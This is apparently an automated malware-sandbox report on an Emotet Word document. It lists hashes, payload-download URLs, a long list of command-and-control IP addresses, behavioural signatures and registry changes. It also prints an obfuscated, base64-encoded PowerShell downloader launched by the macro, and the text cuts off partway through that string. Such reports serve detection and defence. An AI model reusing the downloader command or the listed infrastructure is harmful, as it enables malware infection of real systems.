Analysis
-
max time kernel
132s -
max time network
147s -
platform
windows7_x64 -
resource
win7 -
submitted
27-10-2020 12:16
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e_2020-10-27__121346399823._fpx.doc
Resource
win7
General
-
Target
emotet_e1_ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e_2020-10-27__121346399823._fpx.doc
-
Size
179KB
-
MD5
b92b6b8368d2bb53eda2b70de6c13130
-
SHA1
edaa0e5b0279a37cc5f8564d4f1b21ee9f99c382
-
SHA256
ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e
-
SHA512
d19c77cffd09796a184df7a8b0e4275a84fdd1320f4864ae4133e3c9982882c302f02b112bcdfdcdf57c8202984eac94853da509b280f36d2e99d3ed5a873962
Malware Config
Extracted
http://www.royalempresshair.com/wp-content/upgrade/Ete/
http://kbppp.ilmci.com/wp-includes/z/
http://tiplabor.com/images/Du1/
http://0377hhd.com/cgi-bin/q/
https://sorbonne-capital.com/wp-admin/Jip/
https://dijitalklinik.com/wp-admin/LYq/
https://www.qualitymathtutors.com/wp-content/GfE/
Extracted
emotet
Epoch1
45.16.226.117:443
104.131.92.244:8080
70.39.251.94:8080
87.230.25.43:8080
186.189.249.2:80
209.236.123.42:8080
5.196.35.138:7080
45.33.77.42:8080
46.43.2.95:8080
24.135.69.146:80
103.236.179.162:80
190.92.122.226:80
201.71.228.86:80
68.183.170.114:8080
183.176.82.231:80
168.197.45.36:80
152.169.22.67:80
111.67.12.221:8080
51.75.33.127:80
186.70.127.199:8090
188.157.101.114:80
137.74.106.111:7080
149.202.72.142:7080
177.73.0.98:443
62.84.75.50:80
201.213.177.139:80
60.93.23.51:80
190.190.219.184:80
177.129.17.170:443
79.118.74.90:80
202.134.4.210:7080
2.45.176.233:80
192.241.143.52:8080
191.97.154.2:80
178.250.54.208:8080
129.232.220.11:8080
94.176.234.118:443
51.255.165.160:8080
128.92.203.42:80
216.47.196.104:80
185.94.252.27:443
104.131.41.185:8080
87.106.46.107:8080
109.190.35.249:80
181.58.181.9:80
5.89.33.136:80
45.46.37.97:80
178.211.45.66:8080
37.179.145.105:80
213.197.182.158:8080
217.13.106.14:8080
192.232.229.54:7080
109.190.249.106:80
181.56.32.36:80
12.163.208.58:80
190.24.243.186:80
74.58.215.226:80
185.183.16.47:80
81.215.230.173:443
138.97.60.141:7080
177.144.130.105:443
170.81.48.2:80
76.121.199.225:80
192.175.111.212:7080
177.144.130.105:8080
190.115.18.139:8080
12.162.84.2:8080
77.238.212.227:80
70.32.115.157:8080
181.30.61.163:443
51.15.7.145:80
191.182.6.118:80
82.76.52.155:80
188.135.15.49:80
138.97.60.140:8080
1.226.84.243:8080
190.101.156.139:80
200.59.6.174:80
83.103.179.156:80
181.129.96.162:8080
213.52.74.198:80
59.148.253.194:8080
188.251.213.180:80
219.92.13.25:80
94.23.62.116:8080
24.232.228.233:80
201.49.239.200:443
189.223.16.99:80
189.2.177.210:443
81.214.253.80:443
187.162.248.237:80
70.32.84.74:8080
173.68.199.157:80
172.86.186.21:8080
181.123.6.86:80
46.101.58.37:8080
46.105.114.137:8080
174.118.202.24:443
37.187.161.206:8080
197.232.36.108:80
37.183.81.217:80
50.28.51.143:8080
83.169.21.32:7080
85.214.26.7:8080
120.72.18.91:80
212.71.237.140:8080
172.104.169.32:8080
193.251.77.110:80
103.13.224.53:80
77.78.196.173:443
82.76.111.249:443
181.61.182.143:80
177.107.79.214:8080
190.188.245.242:80
74.135.120.91:80
68.183.190.199:8080
177.23.7.151:80
98.103.204.12:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POwersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1600 1832 POwersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral1/memory/756-11-0x0000000000370000-0x0000000000390000-memory.dmp emotet behavioral1/memory/756-12-0x0000000000390000-0x00000000003AE000-memory.dmp emotet behavioral1/memory/1116-17-0x0000000000270000-0x000000000028E000-memory.dmp emotet behavioral1/memory/1116-16-0x0000000000250000-0x0000000000270000-memory.dmp emotet -
Blacklisted process makes network request 2 IoCs
Processes:
POwersheLL.exeflow pid process 8 1600 POwersheLL.exe 9 1600 POwersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
Avfs1cem.exemmcbase.exepid process 756 Avfs1cem.exe 1116 mmcbase.exe -
Drops file in System32 directory 2 IoCs
Processes:
POwersheLL.exeAvfs1cem.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk POwersheLL.exe File opened for modification C:\Windows\SysWOW64\rshx32\mmcbase.exe Avfs1cem.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\TypeLib\{84A73565-D18D-4975-BA30-42088F7745BB}\2.0\FLAGS\ = "6" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1036 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
POwersheLL.exemmcbase.exepid process 1600 POwersheLL.exe 1600 POwersheLL.exe 1116 mmcbase.exe 1116 mmcbase.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
POwersheLL.exedescription pid process Token: SeDebugPrivilege 1600 POwersheLL.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1036 WINWORD.EXE 1036 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
Avfs1cem.exedescription pid process target process PID 756 wrote to memory of 1116 756 Avfs1cem.exe mmcbase.exe PID 756 wrote to memory of 1116 756 Avfs1cem.exe mmcbase.exe PID 756 wrote to memory of 1116 756 Avfs1cem.exe mmcbase.exe PID 756 wrote to memory of 1116 756 Avfs1cem.exe mmcbase.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ed4e87a802acc318ecb56a046a99bfeb0c32426bb59be290ec25a813fa76d92e_2020-10-27__121346399823._fpx.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD IAAgACQAWQAwAEcAdAA9ACAAWwBUAFkAUABlAF0AKAAiAHsAMwB9AHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACAAJwBpAFIAZQBDAHQAbwAnACwAJwBSACcALAAnAFkAJwAsACcAUwB5AFMAVABFAG0ALgBpAG8ALgBkACcAKQA7ACAAIAAgACQAUQA3AFYATwAgACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADcAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADQAfQB7ADMAfQB7ADIAfQB7ADEAfQB7ADUAfQAiACAALQBmACcAWQBzAHQAJwAsACcAbQAnACwAJwBJAG4AdAAnACwAJwBvACcALAAnAFAAJwAsACcAQQBuAEEARwBFAFIAJwAsACcAZQBtAC4AbgBlAHQAJwAsACcAUwAnACwAJwAuAFMAZQBSAHYAaQBDAGUAJwApACAAOwAgACQATABqAHUAZQBwAGIAawA9ACgAJwBEACcAKwAoACcAegAyACcAKwAnAGwAZQBxAGMAJwApACkAOwAkAFgAbABtAGsANwAzAHcAPQAkAEkAOABwAHIANAByAG0AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE0AcABuAGgAegA2AHUAOwAkAFAAXwA2AHcAaQBzADcAPQAoACcARQA0ACcAKwAoACcAcABvAGUAJwArACcAMwAnACkAKwAnAHAAJwApADsAIAAoACAAIAB2AGEAcgBJAGEAYgBMAGUAIAAoACIAWQAwACIAKwAiAEcAdAAiACkAIAApAC4AVgBhAGwAVQBlADoAOgAiAEMAcgBlAEEAVABFAGQAYABpAGAAUgBlAGMAdABgAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBKAGEAOABUAHIAMQAnACsAJwB1ACcAKwAnAGMAJwApACsAKAAnADYAYwBKAGEAJwArACcAOAAnACsAJwBHACcAKQArACcAZQAnACsAJwA1AHIAJwArACcAbwAnACsAJwB3ACcAKwAoACcAMQAnACsAJwBKAGEAOAAnACkAKQAgAC0AYwBSAEUAcABMAEEAYwBlACgAJwBKAGEAJwArACcAOAAnACkALABbAGMAaABhAFIAXQA5ADIAKQApADsAJABCAGgAZgBzAGgAagB1AD0AKAAoACcAWAAnACsAJwB4AHcAJwApACsAJwBfACcAKwAoACcAeQBjACcAKwAnAGkAJwApACkAOwAgACQAUQA3AFYATwA6ADoAIgBTAGUAYwBgAFUAUgBgAGkAVAB5AGAAcABSAE8AVABvAGAAQwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAJwArACcAcwAnACkAKwAnADEAMgAnACkAOwAkAEQAcAAxAGUAdwByAHAAPQAoACcAQQAnACsAKAAnAHoAJwArACcAawBhAGMAMAAnACsAJwAzACcAKQApADsAJABLADkAZwBmADAAcwBiACAAPQAgACgAKAAnAEEAdgAnACsAJwBmAHMAJwApACsAJwAxAGMAJwArACcAZQBtACcAKQA7ACQAWAB6AHYANwA3AGMAZQA9ACgAJwBEACcAKwAoACcAagAnACsAJwAxAGIAawBnACcAKQArACcAdgAnACkAOwAkAEgAcQBzADAAdQA3ADAAPQAoACgAJwBYAF8AYwAnACsAJwA4ACcAKQArACgAJwAxACcAKwAnAHUAYwAnACkAKQA7ACQATQBxAHgAeQB3AHEAMgA9ACQASABPAE0ARQArACgAKAAoACcAawBqACcAKwAnADgAVAByADEAJwArACcAdQBjACcAKQArACgAJwA2AGMAawAnACsAJwBqACcAKQArACcAOAAnACsAKAAnAEcAZQA1AHIAJwArACcAbwB3ACcAKQArACgAJwAxACcAKwAnAGsAagAnACkAKwAnADgAJwApACAALQByAEUAcABMAGEAYwBFACAAKABbAEMAaABBAFIAXQAxADAANwArAFsAQwBoAEEAUgBdADEAMAA2ACsAWwBDAGgAQQBSAF0ANQA2ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQASwA5AGcAZgAwAHMAYgArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEoAegB6ADMANgAwAGYAPQAoACcARQBxACcAKwAoACcAOQAnACsAJwAxAGMAJwApACsAJwB6ADEAJwApADsAJABRAG8AZABoAGEAMQBzAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAGMATABJAGUAbgBUADsAJABaAF8AZABqAG8AdgAzAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0AWwAnACsAJwAgACcAKQArACcAdwAnACsAKAAnAGUAJwArACcAIABdACcAKwAnAHcAdwB3AC4AJwApACsAKAAnAHIAbwB5ACcAKwAnAGEAJwApACsAKAAnAGwAZQBtAHAAcgAnACsAJwBlACcAKQArACgAJwBzACcAKwAnAHMAaABhAGkAJwArACcAcgAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAFsAJwArACgAJwAgACcAKwAnAHcAJwArACcAZQAgAF0AdwAnACkAKwAoACcAcAAtACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbgB0AGUAbgB0AFsAIAAnACsAJwB3AGUAIAAnACsAJwBdAHUAcABnACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAZABlACcAKQArACcAWwAnACsAJwAgACcAKwAnAHcAJwArACgAJwBlACcAKwAnACAAXQBFAHQAJwArACcAZQBbACAAJwApACsAJwB3ACcAKwAnAGUAJwArACgAJwAgAF0AJwArACcAQAAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AFsAIAB3AGUAIABdAFsAIAB3ACcAKwAnAGUAIAAnACsAJwBdAGsAJwArACcAYgAnACsAJwBwAHAAcAAuACcAKQArACcAaQBsACcAKwAoACcAbQBjAGkAJwArACcALgBjAG8AbQBbACAAJwApACsAKAAnAHcAZQAgAF0AdwBwAC0AJwArACcAaQBuAGMAbAB1AGQAZQAnACsAJwBzACcAKQArACcAWwAnACsAJwAgAHcAJwArACgAJwBlACAAXQB6ACcAKwAnAFsAIAB3ACcAKQArACcAZQAnACsAKAAnACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAnAFsAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAWwAgAHcAJwApACsAKAAnAGUAIAAnACsAJwBdAHQAaQAnACkAKwAoACcAcABsACcAKwAnAGEAYgBvACcAKQArACgAJwByACcAKwAnAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAGkAJwArACcAbQBhAGcAJwApACsAKAAnAGUAcwBbACAAJwArACcAdwBlACcAKQArACgAJwAgAF0ARAAnACsAJwB1ACcAKQArACcAMQBbACcAKwAoACcAIAB3AGUAIABdAEAAaAAnACsAJwB0ACcAKwAnAHQAcAA6AFsAJwArACcAIAB3ACcAKwAnAGUAJwApACsAJwAgAF0AJwArACgAJwBbACAAdwAnACsAJwBlACAAJwApACsAKAAnAF0AMAAnACsAJwAzADcANwBoACcAKQArACgAJwBoAGQALgBjAG8AbQAnACsAJwBbACAAdwBlACAAXQBjACcAKwAnAGcAaQAtACcAKwAnAGIAaQBuAFsAJwApACsAKAAnACAAdwBlACAAXQBxACcAKwAnAFsAJwApACsAJwAgAHcAJwArACgAJwBlACAAXQAnACsAJwBAAGgAdAB0ACcAKwAnAHAAcwAnACkAKwAoACcAOgBbACcAKwAnACAAJwArACcAdwBlACAAJwArACcAXQBbACAAJwApACsAKAAnAHcAZQAgAF0AcwBvAHIAYgBvACcAKwAnAG4AbgAnACsAJwBlAC0AYwBhAHAAJwArACcAaQAnACsAJwB0AGEAbAAuAGMAJwArACcAbwBtACcAKwAnAFsAIAAnACkAKwAnAHcAZQAnACsAKAAnACAAJwArACcAXQB3AHAALQBhAGQAbQAnACkAKwAoACcAaQBuAFsAIAB3AGUAJwArACcAIABdAEoAaQAnACsAJwBwAFsAIAAnACsAJwB3ACcAKQArACcAZQAnACsAKAAnACAAXQBAAGgAJwArACcAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAOgAnACsAJwBbACAAdwBlACcAKwAnACAAXQBbACAAdwBlACcAKwAnACAAXQBkAGkAagBpACcAKQArACgAJwB0AGEAbABrACcAKwAnAGwAJwApACsAJwBpAG4AJwArACgAJwBpACcAKwAnAGsALgAnACkAKwAoACcAYwBvAG0AJwArACcAWwAgAHcAJwApACsAJwBlACcAKwAoACcAIAAnACsAJwBdAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKQArACcAbgBbACcAKwAoACcAIAB3AGUAJwArACcAIABdACcAKwAnAEwAWQBxACcAKQArACgAJwBbACAAdwAnACsAJwBlACcAKQArACgAJwAgAF0AQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBbACAAdwBlACcAKwAnAC